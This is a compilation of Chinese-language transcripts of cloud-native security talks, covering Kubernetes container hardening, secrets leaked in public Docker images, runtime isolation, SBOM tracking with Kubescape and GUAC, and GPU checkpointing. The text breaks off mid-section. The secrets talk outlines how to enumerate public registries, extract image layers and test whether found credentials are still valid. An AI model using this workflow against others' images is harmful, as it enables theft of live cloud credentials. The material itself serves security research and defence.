我们使用 Aqua Security 的开源工具 Trivy 来扫描镜像中的已知漏洞或错误配置。扫描结果显示存在几个漏洞,包括一个高严重性漏洞。

我们还使用 Truffle Security 的开源工具 TruffleHog 来扫描镜像中可能隐藏的密钥。扫描结果在我们的 PIP 配置文件中发现了所谓的“超级秘密”密码。

Trivy 也可以作为 Operator 部署到集群中,扫描集群组件、工作负载、底层基础设施和 RBAC 配置,并在 etcd 中创建自定义资源,以便以编程方式使用这些信息。从 Trivy 配置报告中,我们看到了诸如可变根文件系统、未配置安全上下文、可提升自身权限、以 root 用户运行等问题。

强化改造:从脆弱到强健 💪

现在是改造时间!我们将通过一系列步骤,将这个容器提升到一个更安全的状态。

快速修复:更新与打补丁

首先从一些快速修复开始:更新几乎所有东西。根据扫描器的建议更新镜像版本。更新时需注意:如果依赖项遵循语义化版本控制(如主版本.次版本.修订号),这有助于判断更新是否包含破坏性变更。同时,查看关键依赖项的发布说明。确保不要意外在生产环境中运行 Alpha 版本。并且,请务必测试你的应用程序。

推荐使用 endoflife.date 网站查询项目支持版本和生命周期,以及 Mend 的 Renovate 开源工具来自动化各种依赖项更新。

强化 Kubernetes 组件

接下来,我们对 Kubernetes 组件进行一些更改,以确保 Squishy Bin 变得安全。

  1. 使用命名空间隔离:将 Squishy Bin 放入其自己的命名空间。这是在 Kubernetes 中确保共享资源空间的多租户应用程序彼此不可访问的常见策略,允许我们为每个工作负载定制安全策略。只需在部署中添加一行即可实现。

  1. 应用 Pod 安全准入控制器:在命名空间中通过 Pod 安全准入控制器添加标签。这是 Kubernetes 的原生功能。我们可以配置 enforce 标签来强制执行 Pod 安全级别(如 baseline),并设置 auditwarn 标签进行审计和警告。这能有效阻止创建不符合安全策略的 Pod。

  1. 使用 Gatekeeper 等准入控制器:如需更高级的策略,可以使用 Gatekeeper、Kyverno 或 Kubewarden 等工具。它们主要分为验证性和变更性两种类型。
    • 验证性准入控制器:在资源变更时执行检查,验证其是否符合设定的策略。例如,可以要求 Pod 必须设置 seccomp 安全计算模式配置文件。
    • 变更性准入控制器:根据一组条件自动修改资源。例如,可以自动为没有设置 seccomp 配置文件的 Pod 添加 runtime/default 配置。这能将部分安全负担从开发者身上移开,确保满足最低安全要求。

优化 Dockerfile 和部署配置

我们也对 Dockerfile 和部署配置进行了优化。

Dockerfile 改进

  • 移除敏感文件:不再将包含秘密的 PIP 配置文件复制到镜像层中,而是利用构建时挂载密钥的能力,使其在构建过程中可用但不会留在最终镜像层里。
  • 创建非 root 用户:添加一个用户,使容器不再以 root 用户运行。
  • 添加健康检查:设置健康检查,让容器运行时能判断应用是否存活。
  • 使用 .dockerignore 文件:确保不会意外将虚拟环境、node_modules 或包含秘密的 .envrc 等文件复制到镜像中。

部署配置改进

  • 固定镜像摘要:使用特定的 SHA256 摘要来固定镜像,避免因标签可变而带来的风险。任何镜像内容的改变都会导致摘要不同,拉取会失败。
  • 使用高 ID 的用户和组:避免与主机用户 ID 范围重叠。
  • 设置只读根文件系统:防止对根文件系统的写入。
  • 阻止已知权限提升:通过安全配置阻止已知的权限提升途径。
  • 删除不必要的 Linux 能力:尽可能删除容器不需要的 Linux 能力。
  • 应用 seccomp 配置文件:限制容器可进行的系统调用。
  • 设置资源限制:防止资源耗尽攻击(如 Fork Bomb)或加密货币挖矿程序耗尽集群资源。

改造结果:强健的“Catch Container” 🏆

经过一系列强化,我们得到了 Catch Container。这个容器会对朋友和家人进行背景调查,将密码保存在安全 deposit box 里,不信任任何 IoT 设备,睡在法拉第笼里。它坚韧、难以接近,并且我们可能为了达到这种岩石般的坚固而牺牲了一些可靠性。

让我们看看改造前后的对比扫描结果。

改造前:存在多个漏洞,包括高严重性漏洞。
改造后:没有已知的易受攻击包被安装。

改造前:CIS 基准测试显示集群和工作负载存在多项问题。
改造后:所有测试项均通过。

需要注意的是,在多租户集群的控制平面,可能无法完美满足基准测试的每一项要求,需要进行风险分析和定制化策略。但不要让“完美”成为“良好”的敌人,应用部分控制措施远比什么都不做要好得多。

教练角:规模化安全实践 🧑‍🏫

对于需要在多个团队、多种技术栈和不同需求间实施安全的安全工程师,以下是一些确保容器安全计划取得成效的建议。

  1. 让安全选择成为默认选择:确保安全的选择是简单的选择。安全团队没有时间审查每一个 Dockerfile 或 Kubernetes YAML。应该铺设道路并设置护栏:维护一个经过批准的私有镜像仓库;确保定期修补和升级镜像;强制使用精简的最小化镜像;确保依赖项仅在需要时引入并经过审查;在流水线中集成扫描,并在容器需要修补时发出警报。
  2. 理解用户用例和目标:充分了解你试图保护的过程(开发者工作流),并尽可能减少摩擦。在现有工作流基础上进行补充,尽早并经常沟通,让用户参与过程,可以避免部署控制措施后 disrupt 所有人工作能力的噩梦场景。与团队一起进行威胁建模是一个很好的方法。
  3. 建立安全文化与倡导者计划:安全成功时是无声的。我们需要让人们知道我们一直在做事。创建一个安全倡导者或冠军计划,让各团队成员接受安全培训,成为安全在团队内部的代表。举办安全教育培训,开展网络安全月活动,组织夺旗竞赛等。

工具与资源 🛠️

以下是在本教程中用到的一些有用工具和资源:

  • endoflife.date:查询软件生命周期。
  • Shish:用于扫描即将结束生命周期的软件的 CI 工具。
  • Gatekeeper:Kubernetes 策略控制器。
  • Trivy (Aqua Security):全面的安全扫描器。
  • TruffleHog:检测代码和镜像中秘密的工具。
  • Helm:简化了在集群中部署 Trivy Operator。
  • Docker Desktop & Kubernetes:提供了便捷的演示环境。

总结 📝

在本教程中,我们一起学习了如何系统性地强化 Kubernetes 容器安全。我们从理解基本术语和现状开始,分析了一个脆弱容器的具体问题,然后逐步应用了包括更新补丁、命名空间隔离、安全上下文配置、准入控制器策略、Dockerfile 优化以及部署配置加固在内的多项措施。最后,我们探讨了如何在组织层面规模化地实施这些安全实践,并介绍了一些实用的工具。

容器安全是一个持续的过程,而非一次性的任务。通过应用这些原则和工具,你可以显著提升容器环境的安全性,构建出真正“强壮”的容器。

(注:教程中提及的幻灯片和代码资源可在相关分享平台和 GitHub 仓库中找到。)

043:从公开Docker镜像中发现的秘密

在本教程中,我们将学习如何分析公开的Docker镜像以发现泄露的秘密。我们将探讨Docker镜像的结构、扫描方法、常见的安全隐患,并提供最佳实践建议,以帮助开发者和安全人员保护敏感信息。

概述

本次课程将基于对超过18万个公开Docker镜像的分析,揭示其中隐藏的秘密泄露问题。我们将从Docker镜像的基本结构讲起,逐步深入到扫描方法、数据分析,并最终总结出关键的教训和防护措施。

Docker镜像结构解析

上一节我们介绍了课程的整体目标,本节中我们来看看Docker镜像的内部构成。理解镜像结构是后续扫描和分析的基础。

一个Docker镜像由多个层(Layer)组成,每个层对应Dockerfile中的一条指令。这些层也被称为Blob,通常是经过Gzip压缩的tar包。

除了存储文件系统的层,镜像还包含两个重要的JSON文件:

  • Config文件: 描述了镜像的元数据和配置,例如环境变量、入口点命令等。
  • Manifest文件: 一个清单,列出了构成该镜像的所有层(Blob)和Config文件。

因此,扫描Docker镜像中的秘密,本质上就是扫描这些JSON文件和tar包中的内容。

扫描方法与工具

了解了镜像结构后,我们来看看如何系统地扫描它们以发现秘密。

以下是扫描Docker镜像中秘密的基本步骤:

  1. 获取仓库列表: 使用注册中心的API(如 /v2/_catalog 端点)列出所有仓库。
  2. 获取标签列表: 对于每个仓库,获取其所有的镜像标签。
  3. 获取清单文件: 对于每个标签,下载其Manifest文件。
  4. 下载并扫描Blob: 根据Manifest下载所有层(Blob)和Config文件,并对这些文件进行秘密扫描。

对于Docker Hub,由于其公开搜索功能限制(最多返回1万条结果),需要使用一些技巧,例如通过枚举关键词(如 aaa, aab)来获取更全面的仓库列表。

在工具方面,可以使用 Skopeo 来下载和检查镜像内容。对于秘密扫描,GitGuardian的工具 ggshield 是一个专门的选择,它可以直接扫描Docker镜像。例如,扫描一个本地镜像:

ggshield secret scan docker my-image:latest

有效性验证与秘密分类

在扫描出大量潜在秘密后,我们需要判断哪些是真正可用的。这涉及到有效性验证和秘密分类。

有效性验证通常通过调用相应服务的API来实现。例如,验证一个GitHub令牌:

  • 有效令牌: API返回 200 OK
  • 无效令牌: API返回 401 Unauthorized
  • 无法验证: 目标服务可能位于内网,无法从公网访问。这类秘密对内网攻击者可能仍有价值。

从攻击者视角,秘密可以分为两大类:

  • 特定类型秘密: 具有已知模式和格式,可映射到特定服务(如AWS、GitHub)。这类秘密通常可以自动验证,是攻击者的主要目标。
  • 通用类型秘密: 格式不明确,难以自动化识别和验证,需要人工分析上下文来判断其用途和风险。

数据分析与关键发现

我们应用上述方法对公开镜像进行了大规模扫描,以下是一些关键的数据发现:

  • 泄露比例: 5%的公开仓库包含至少一个秘密。这意味着每20个仓库中就有一个存在泄露风险。
  • 来源: 绝大多数秘密(超过99%)存在于镜像层(Layer)中,而非Dockerfile或Config文件。这表明秘密通常在构建过程中被意外打包进去。
  • 有效性: 在发现的特定类型秘密中,20%是当前有效的。这意味着攻击者可以直接利用它们。
  • 秘密类型分布
    • 28% 与数据存储相关(如数据库、S3桶凭证),其中13%有效。
    • 13% 与云服务提供商相关(如AWS、GCP密钥),其中高达50%有效。
  • 持久性风险: 60%的有效秘密是在2024年之前泄露的,甚至有2000个有效秘密可以追溯到5年前(2020年)。秘密一旦泄露,可能长期有效,构成持续威胁。

常见的Docker安全隐患与错误模式

数据分析揭示了惊人的风险,那么这些秘密是如何泄露的呢?本节我们来剖析常见的错误模式。

1. Dockerfile中的“记忆”效应
一个常见的误解是,在RUN指令中删除敏感文件(如 .npmrc)就能确保安全。例如:

COPY .npmrc .
RUN npm ci && rm .npmrc

实际上,rm命令只会在容器运行时删除文件,而包含.npmrc的层(由COPY创建)仍然存在于镜像中,可以被轻易提取。

2. 构建参数(Build Args)泄露
使用ARGENV在Dockerfile中传递秘密是极其危险的做法。

ARG AWS_ACCESS_KEY
RUN echo $AWS_ACCESS_KEY

这些参数的值会明文存储在最终的镜像Config文件中。Docker官方文档明确警告:构建参数和环境变量不适合传递秘密。

3. 在RUN指令中泄露秘密
即使使用了正确的秘密传递方式(如--mount=type=secret),如果在RUN指令中错误地处理,仍然会导致泄露。

RUN --mount=type=secret,id=my_secret \
    export MY_SECRET=$(cat /run/secrets/my_secret) && \
    echo "Secret is: $MY_SECRET" # 错误!这将把秘密记录到层中。

这可能是最糟糕的情况:采用了最佳实践,却因一个操作失误而前功尽弃。

最佳实践与防护建议

认识到问题后,我们来看看如何正确、安全地在Docker构建中使用秘密。

正确方式:使用Docker Build Secret
这是Docker推荐的安全方法,秘密仅在构建时临时挂载,不会留存于任何镜像层中。

# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=my_secret,target=/run/secrets/my_secret \
    export MY_SECRET=$(cat /run/secrets/my_secret) && \
    # 使用MY_SECRET,但不要打印或将其写入任何文件
    my-command --api-key $MY_SECRET

构建命令示例:

docker build --secret id=my_secret,env=MY_SECRET_ENV_VAR -t my-app .

关键行动建议

  1. 主动审计: 定期扫描你的公有和私有镜像仓库,查找泄露的秘密。可以将此作为CI/CD流水线的一个环节。
  2. 开展演练: 从治理层面,假设公司发生了秘密泄露(如AWS根账户密钥被公开),组织一次应急响应演练。测试能否快速定位泄露源、撤销凭证、通知相关方。预防性演练比事后补救更有效。
  3. 提高意识: 对开发团队进行安全教育,明确说明Docker构建中传递秘密的风险和正确方法。

总结

本节课中我们一起学习了如何分析Docker镜像以发现泄露的秘密。我们了解到:

  1. 公开镜像中秘密泄露现象普遍,且大量秘密长期有效。
  2. 秘密主要泄露在镜像层中,常见的错误包括误用构建参数、在RUN指令中处理不当等。
  3. 最安全的做法是使用 --mount=type=secret 来在构建期间传递敏感信息。
  4. 防护需要技术和流程结合: 通过工具自动化扫描,并通过演练和培训提升整体安全水位。

安全是一个持续的过程,希望本课程能帮助你更好地保护你的云原生应用和基础设施。

044:容器运行时隔离与多租户的隐藏成本

在本节课中,我们将要学习容器运行时隔离的重要性、不同类型的运行时实现、它们面临的风险,以及如何在多租户环境中做出合适的选择。我们将从基础概念开始,逐步深入到安全考量与性能权衡。


概述:为什么需要隔离?

有时,我们处理的信息可能过多,因此需要通过隔离部分信息来解决这个问题。在云原生环境中,隔离对于安全运行不同工作负载至关重要。

什么是容器运行时?

我们首先从定义开始,确保大家有一个共同的理解基础。

简单来说,容器运行时是指当我们提供一个希望在某个计算节点上运行的容器镜像时,负责启动并管理该容器的组件。它不会判断所运行的容器是否正确,只是执行运行过程。

深入解析 OCI 运行时规范

OCI 代表开放容器倡议,它制定了 OCI 运行时规范。该规范定义了我们在环境中选择运行时所使用的接口。从技术层面讲,它要求运行时能够处理创建、启动、终止、删除等命令。

以下是容器运行时依赖的几个关键 Linux 内核特性:

  • Linux 命名空间:提供了一种类似隔离的感觉。运行时创建诸如进程、挂载、用户等命名空间。
  • Cgroups:帮助我们限制资源使用,防止“吵闹的邻居”问题。
  • Seccomp 和 AppArmor:协助安全策略,本质上规定了容器可以做什么和不可以做什么,这是一种强制访问控制形式。
  • 文件系统:为容器提供文件系统,从计算或存储节点挂载到容器中。

从安全角度看容器类型

了解了容器运行时的基本原理后,我们来谈谈从安全上下文角度可能运行的几种容器类型。

以下是三种主要的安全上下文类型:

  1. 不受信任的代码或镜像:这是来自互联网的随机镜像,是别人的代码。我们可能不知道其创建者、来源或托管位置,也缺乏可追溯其来源的证明。我们无法完全信任它,但目前没有太多机制阻止我们运行它。
  2. 远程代码执行即服务:在 AI 开发等场景中,开发者需要本地笔记本电脑无法提供的硬件。像 Coder 和 Gitpod 这样的平台提供了带 IDE 的计算环境,并且现在这些计算环境配备了 GPU。这本质上是一种“远程代码执行即服务”,我们需要能够确保其安全。
  3. 敏感应用程序:这不仅仅是支付信息。过去的数据泄露曾导致人们生命受到威胁。从容器角度看,我们可能部署了所有最好的安全措施,但回到进程层面,是否有人在“房间”里窥视我们的进程?工具固然重要,但实现方式同样关键。

容器运行时的安全风险

上一节我们介绍了不同的容器安全上下文,本节中我们来看看运行这些容器时可能面临的核心风险。

主要风险集中在两个方面:

  1. 内核与主机访问:内核在安全中扮演着至关重要的角色,任何运行在其上的东西都会经过内核。内核庞大且重要,任何改动都可能对性能产生不利影响。主机访问则涉及拥有“上帝模式”的系统管理员,他们可以访问容器运行的主机并查看所有进程。如果管理员心怀恶意,或者你根本不知道管理你计算资源的人是谁,风险就产生了。
  2. 沙箱逃逸与资源竞争:运行时是我们系统的关键点,一切都要经过这里。如果运行时被利用,攻击者就可能突破节点。例如,“Leaky Vessels”漏洞曾允许攻击者从容器运行时横向移动。此外,即使处于隔离环境,如果共享资源(如 CPU、内存、I/O)被其他进程耗尽,也会导致“吵闹的邻居”问题。

容器运行时分类

带着上述担忧,让我们更深入地探讨,并尝试按类型对运行时进行分类。

以下是主要的容器运行时类型:

  • 内核类型:这是标准的运行时类别。如果你今天正在运行集群并且对此感到陌生,你可能就属于这一类。例如:runccrun。它们通过基本的 Linux 命名空间和 Cgroups 实现沙箱化,可以运行通用工作负载。
  • 隔离增强型:这类运行时专注于隔离,特别是多租户工作负载的隔离。例如:gVisorKata ContainersFirecracker。它们解决复杂问题的方式各不相同,但目标都是更强的隔离。
  • 其他类型:例如 Wasm,它提供了一种在多租户环境中运行 Wasm 工作负载的方式,但可能需要重构应用程序。crun 的变种 youki 也是一个例子。

多租户与工作负载隔离

现在,让我们将多租户引入工作负载隔离的讨论中。

谁认为 Kubernetes 命名空间就是你所需要的全部?这在逻辑上类似于电脑上的文件夹。此外,我们还有 Linux 命名空间,这是一种位于内核中的不同“盒子”,可以提供特定的挂载和资源约束。但这需要 root 权限,而你的容器运行时确实拥有此权限。无根模式通过用户命名空间实现,但这可能违反内核自我保护准则。

以下是实现多租户隔离的几种方式:

  1. 不同节点:为特定客户或工作负载分配专用节点池。
  2. 网络策略:在网络层面隔离通信。
  3. 虚拟集群:类似于“我想要一个虚拟机,但我说我想要一个 Pod”。这提供了良好的隔离。
  4. 使用特定的容器运行时:这是本次讨论的重点,通过运行时本身提供更强的隔离边界。

性能与成本考量

追求安全隔离可能会带来成本。例如,为了实现强隔离(如使用独立内核),可能需要虚拟机,进而需要嵌套虚拟化,这会带来开销。你需要考虑这些已知的未知成本。

有时运行特定的容器运行时或虚拟机需要特定的硬件要求。在决定采用哪种方案时,必须将这些因素考虑在内。

性能基准测试显示,不同的运行时在启动时间、内存开销等方面存在差异。作为一个行业,我们希望在不牺牲内核类型运行时性能的前提下,获得高效的隔离。

如何选择与配置

那么,如何与你的“医生”讨论哪种容器运行时适合你呢?

首先,诚实地评估你的需求。如果你是一家初创公司,只是做一个网站,可能不需要最高级别的安全隔离。但如果你是一家金融机构或医疗保健提供商,你可能需要经过独立评估的、更高级别的隔离。

其次,配置运行时。你可以通过 Kubernetes 的 RuntimeClass 资源来配置。一个想法是,也许可以不在节点上安装 runc,而只使用一种与你安全目标一致的运行时。

总结与工具

本节课中,我们一起学习了容器运行时隔离的核心概念、不同类型、相关风险以及多租户环境下的选择策略。

我们的结论是,你应该认真考虑使用除 runc 之外的其他运行时,尤其是在多租户场景下。这是一种确保工作负载之间隔离、优先考虑安全性的有效方式。

最后,我们介绍了一个开源工具 am-i-isolated。它旨在帮助你理解当前环境所处的隔离级别,是一个教育性质的工具,欢迎大家贡献反馈。

记住,即使拥有最好的技术,如果实施不当,也毫无意义。就像穿苏格兰裙,如果穿反了,功能就会大打折扣。容器的运行时就是这个低调但至关重要的基础,值得我们投入更多关注和正确的实施。

045:为什么不同时追踪构建时与运行时信息

在本节课中,我们将要学习如何结合使用 KubescapeGUAC 这两个开源项目,来统一管理 Kubernetes 集群中的软件供应链信息。我们将探讨如何从源代码、构建过程、容器镜像到运行时等多个维度生成和分析软件物料清单,并理解不同阶段 SBOM 的差异与价值。

演讲者与项目介绍

大家好,我是 Jeff Mendoza,来自软件供应链安全初创公司 Qsari,同时也是开源项目 GUAC 的维护者。GUAC 是一个 Apache 2.0 许可的 OpenSSF 项目。

我是 Ben,是 Kubescape 项目的维护者之一。Kubescape 是一个 Kubernetes 安全平台,目前是 CNCF 的孵化项目。

本次演讲将简要介绍这两个项目,并展示一些刚刚发布的新功能演示。

深入理解 GUAC

上一节我们介绍了演讲者背景,本节中我们来看看 GUAC 项目。

GUAC 是一个缩写,代表 Graph for Understanding Artifact Composition。它的核心是一个 GraphQL API 系统,能够从各种来源(主要是软件物料清单 SBOM,也包括 SLSA 证明、Scorecard 分数、VEX 文档等)拉取供应链数据。

它将所有数据整合到一个系统中,你可以使用 GraphQL 查询来洞察整个软件供应链。单个 SBOM 只包含一个软件的内容,而 GUAC 将所有 SBOM 整合到一个大图中,从而揭示所有软件之间的相互联系。

典型的使用方式是,在构建流程中生成 SBOM,然后将其上传到正在运行的 GUAC 系统中。

以下是 GUAC 的核心组件构成:

  • 核心项目:数据库和汇编器,负责运行 API。
  • 摄取器:负责接收文档,并将文档转化为节点和边,以水合图数据。
  • 收集器:监视新数据或主动获取数据。例如,文件收集器用于 SBOM 文件;GitHub 收集器会监视仓库的新版本发布,检查并下载关联的 SBOM。
  • 认证器:连接漏洞源(如 OSV.dev),查看图中的软件包,并从外部源获取更多信息(如漏洞详情、Scorecard 分数),并将它们也作为节点添加到图中。

数据通过底层的各种收集器源输入 GUAC 系统。顶层的工具则用于通过 GraphQL API 访问所有信息,包括直接使用 GraphQL 查询、命令行工具、可视化器,以及各种集成插件。

深入理解 Kubescape

上一节我们介绍了供应链数据分析工具 GUAC,本节中我们来看看运行时安全与 SBOM 生成工具 Kubescape

Kubescape 项目始于四年前,最初是一个用于扫描 Kubernetes 清单和 API 中安全错误配置的 CLI 工具。它基于 Open Policy Agent 构建,实现了大量安全控制框架。

项目迅速发展为一个功能完整的 Kubernetes 安全平台。它可以作为 Operator 安装在 Kubernetes 集群中,涵盖了许多 Kubernetes 本身未提供的安全管理功能。

Kubescape 的功能包括:

  • 配置扫描
  • 漏洞扫描器(本次讨论的重点)
  • 基于 eBPF 的节点代理,提供网络策略建议、Seccomp 配置文件管理等功能
  • 基于行为的运行时检测

Kubescape 以多种形式提供:Kubernetes Operator、CLI 工具、GitHub Action、VS Code 插件。

Kubescape 的漏洞可及性分析

上一节我们了解了 Kubescape 的整体功能,本节中我们聚焦于其漏洞扫描与 SBOM 管理功能,及其与 GUAC 的连接。

漏洞管理的一个主要痛点是,我们需要不断扫描、修复和监控漏洞。然而,尽管所有漏洞在某种程度上都存在被利用的可能,但在 Kubernetes 集群中,大多数漏洞由于各种原因并未构成真正的威胁。

这就引出了 Kubescape 的 可及性分析 功能。

Kubescape 利用了另一个优秀的 CNCF 沙箱项目 Inspektor Gadget 的 eBPF 能力。我们提出了一个简单的想法:虽然一个容器镜像中可能包含数百个漏洞,但这些漏洞对应的软件包在运行时可能并未被加载到内存或使用。

我们通过 eBPF 监控容器运行时的文件活动,来回答“漏洞所属的软件包在运行时是否被使用”这个问题。具体流程如下:

  1. 为运行在 Kubernetes 集群中的镜像创建一个 SBOM(使用 Syft 和 Grype)。
  2. 从 Inspektor Gadget 获取文件操作的可观测性数据流。
  3. 结合 SBOM 和运行时数据,标记出哪些软件包在运行时被容器“触及”或“加载”。

这使得我们能创建一个过滤后的 SBOM,它只包含在运行时被使用的软件包,从而移除了所有未被使用的部分。

以下是 Kubescape 的工作流程:

  1. Kubescape Operator 组件检测到集群中未曾见过的新镜像。
  2. 触发 kubescape 组件扫描镜像并生成 SBOM。
  3. 将 SBOM 存储为 Kubernetes 自定义资源。
  4. 结合 eBPF 数据流,标记 SBOM 中的每个条目,并生成另一个称为“过滤后 SBOM”的 Kubernetes API 对象。

这种过滤能显著减少漏洞噪音。例如,在一个 Redis 示例中,漏洞数量从约 150-170 个减少到约 15 个,实现了近 90% 的噪音降低。对于基于 Ubuntu 或 Red Hat 等臃肿基础镜像的容器,过滤收益通常更高(70%-90%);对于非常精简的容器镜像,收益相对较小。

集成:将 Kubescape SBOM 导入 GUAC

上一节我们看到了 Kubescape 如何生成精细化的运行时 SBOM,本节中我们来看看如何将这些有价值的数据导入 GUAC 进行统一分析。

我们有一个强大的供应链数据分析工具(GUAC),也生成了出色的供应链数据(Kubescape SBOM)。因此,将所有这些 Kubescape SBOM 和过滤后 SBOM 导入 GUAC 是顺理成章的。

我上周刚刚发布了一个 Kubescape 收集器 用于 GUAC。它的工作原理很简单:正如 Ben 所提到的,Kubescape 将所有 SBOM 作为自定义资源放入 API 服务器。这个收集器就是一个简单的 Kubernetes 客户端,它监视 API 服务器中的这些 SBOM,并自动将它们上传和摄取到正在运行的 GUAC 系统中。

演示:在 GUAC 中探索多阶段 SBOM

上一节我们介绍了集成方式,本节中我们通过一个演示来看看,当 GUAC 中拥有了这些不同阶段的 SBOM 后,我们能做哪些分析。

我运行了一个示例集群,其中包含:

  • 常规的(完整的)镜像 SBOM
  • VEX 文档(本次不深入探讨)
  • 过滤后的 SBOM 对象

我编写了一个简单的 Go 示例应用,包含一个 server 和一个 job。它们共享同一个 go.mod 文件,但编译成不同的二进制文件。

  • go.mod 依赖:gorillazerolog
  • server 代码只使用 gorilla
  • job 代码只使用 zerolog

GUAC 中已经摄取了多种 SBOM:

  1. 源代码 SBOM:使用 OSD Scliber 生成,反映了整个代码仓库的依赖(包括 gorillazerolog)。
  2. 构建时 SBOM:针对 server 构建生成,只包含实际编译进二进制文件的依赖(只有 gorilla 及其传递依赖)。
  3. 镜像 SBOM:由 Kubescape 生成并放入 API 服务器,包含了镜像中的所有内容(Go 包、Wolfi 基础包如 ca-certificates-bundletzdata)。
  4. 过滤后 SBOM:对于这个简单的 server,过滤后 SBOM 与镜像 SBOM 差异不大。但对于一个基于 Debian 的镜像示例,过滤后 SBOM 只列出了实际运行时加载的少数 Debian 包(如 libssllibc6)。

通过 GUAC 的 GraphQL 查询和可视化器,我们可以探索这些 SBOM 之间的关系,看到镜像、各种依赖包以及它们在不同 SBOM 中的出现情况。

不同阶段 SBOM 的要点总结

通过探索这些 SBOM,我们得出以下要点:

  • 源代码/仓库 SBOM:本质上是解析锁文件,获取仓库中的所有内容。这可能包括开发或测试依赖,但这些可能不是你的最高优先级。
  • 构建时 SBOM:仅限于编译进该可执行文件的内容。它更接近你构建的产物,但要注意,用于测试的 CI 构建可能与你发布到生产环境的构建不同。
  • 镜像 SBOM:扫描容器镜像得到。你得不到未编译进镜像的开发/测试库,但会得到操作系统层面的所有内容。这更接近你在生产环境运行的内容,但仍然是“一切”。
  • 过滤后 SBOM:仅包含加载到内存中的二进制文件。这是你需要关注的最重要的部分。

不同的 SBOM 包含不同的信息,你需要了解它们各自的含义。使用像 GUAC 这样的工具可以帮助你探索 SBOM,并查看软件包与哪些 SBOM 具有正确的关系。

问答环节

问:查询过滤后 SBOM 的时机是否重要?是否有可能错过一些漏洞?

:在 Kubescape 中,默认设置会监控容器一段时间(例如,启动后最初几分钟生成第一个过滤 SBOM,之后每10分钟更新)。默认在几小时后停止监控以减少负载。根据经验,在前几个小时未出现的项目通常不相关,但这个时间设置是可以自定义的。

问:运行时软件包检测是 100% 准确吗?是否存在不准确性?

:这取决于两个输入源的准确性:

  1. SBOM:准确性取决于生成器(我们使用 Syft,它是一个顶级项目)。
  2. eBPF 数据流:监控文件访问。理论上,如果 CPU 过载,可能会丢失一些 eBPF 事件,导致本应被标记的包未被标记。在这种情况下,如果检测到 eBPF 事件丢失,我们会停止过滤过程以避免生成不准确的对象,并记录日志。不过,这种情况极少发生。

总结

本节课中我们一起学习了如何利用 KubescapeGUAC 来构建一个从构建时到运行时的完整软件供应链视图。Kubescape 通过 eBPF 运行时分析提供了精准的“过滤后 SBOM”,极大地减少了漏洞管理的噪音。而 GUAC 作为一个统一的供应链数据图谱,能够集成来自不同阶段和来源的 SBOM,帮助我们进行深入的分析和洞察。结合使用这两个工具,可以为 Kubernetes 环境下的软件供应链安全提供强大的支持。

046:透明基础设施级检查点与恢复

概述

在本节课中,我们将学习一种提升云原生AI/ML工作负载弹性的关键技术:透明基础设施级检查点与恢复。我们将探讨其动机、定义、工作原理、应用场景、局限性,并通过实际演示来加深理解。

P46.1:动机与现有方案

大家好,我是Ganesh,来自微软Azure Kubernetes服务团队。另一位演讲者是Bernie,来自Memverge公司。我们将探讨如何为弹性AI/ML工作负载实现基础设施级的透明检查点。

在开始之前,我们先进行一个简短的调查,了解大家面临的挑战。

以下是调查结果:

  • 几乎所有人都曾在Kubernetes中运行过GPU工作负载。
  • 几乎所有人对现有的弹性解决方案(如处理GPU故障或节点停机)不满意。
  • 约一半的人更关心训练或微调任务的弹性。
  • 几乎所有人都关注提升GPU基础设施的利用率。

这些挑战已被多项研究和报告证实。例如,LlaMA 3论文提到了GPU故障的频率,行业调查也显示约三分之一的用户GPU利用率低于或等于30%。

那么,当前是如何应对这些挑战的呢?

现有方案一:GPU健康检查与补救
许多用户运行集成了节点问题检测器的GPU健康检查,并结合补救控制器来采取行动,如重启节点或重置GPU。这有助于识别问题并采取缓解措施,但在高效处理应用方面仍有疑问,例如调度时间和缓慢的Pod启动。

现有方案二:训练期间的模型检查点
在训练过程中频繁保存模型检查点。如果节点宕机,可以从存储库恢复上一个检查点并继续训练。一些方法包括中断工作负载并将其迁移到新节点,或使用Kueue和Volcano等工具结合多实例GPU策略来简化流程。

然而,这些方法仍面临一些共同挑战,如端到端工作负载的加载和恢复时间慢、可能需要配置应用以支持从检查点恢复,并可能导致更高的成本。我们认为可以使其更具弹性。

P46.2:定义与核心概念

上一节我们介绍了现有方案的挑战,本节我们来定义什么是基础设施级透明检查点

  • 检查点:指捕获运行中应用程序在某个时间点的完整状态,包括内存和所有关联文件,以便可以暂停、迁移并在之后热重启。
  • 透明:指应用程序代码或框架无需更改。应用程序无需感知检查点过程。
  • 基础设施级:指整个过程完全由编排器、调度器和平台本身处理,用户无需担心。

需要强调的是,这不是模型检查点。模型检查点只保存模型参数,而基础设施级检查点捕获的是容器内整个应用程序的状态。从使用角度看,真正关心此解决方案的是平台层的人员。

这是一个新兴话题,如果你刚接触,可能会有很多疑问:它的生产就绪程度如何?能否在不同GPU上恢复?能在哪些类型的机器上恢复?如何处理网络状态?执行这些额外计算需要多少时间?我们将在后续部分解答其中一些问题。

P46.3:工作原理与用例

为了便于理解,我们可以做一个高层比喻:想象你是一个神经网络,正乘坐伦敦的双层巴士游览城市,学习并更新你的神经网络权重。不幸的是,巴士抛锚了。你的应用容器无法继续运行。接下来会发生什么?在你不知情的情况下,两分钟前的视图快照已被保存在大英博物馆。现在,我们希望能够恢复那个快照并继续运行。这就是检查点阶段。然后,你启动一个新节点继续运行应用,但无需经过特定应用逻辑,你就能从大约两分钟前恢复,并几乎像什么都没发生一样继续运行。因为你捕获了整个内存状态,它也会在此过程中恢复。

这有助于提高弹性,我们也将讨论它如何提升利用率。

以下是这种方法可以解决的一系列挑战,主要分为三类:

1. 调度优化

  • 抢占与优先级:当有更高优先级的工作负载到来时。
  • 资源利用:当有已调度但实际未利用的空闲资源时。
  • Spot实例:当可能随时被回收的Spot实例需要处理时。
  • 长时作业交接:当长时运行作业需要被另一个作业接管时,需要一个无缝的过程来捕获状态、保存并恢复。

2. 处理节点停机
例如,处理原始图表中显示的GPU问题。你可以将此添加到端到端流程中,在GPU宕机前或排空节点时进行检查点,然后在迁移到新节点时恢复。

3. 提升Pod启动时间
许多公司已开始使用此技术来加速Pod启动时间。这些用例之所以成为可能,得益于加载新容器镜像和应用所需时间的缩短。

那么,有哪些AI/ML特定用例可以借此解决呢?

推理场景
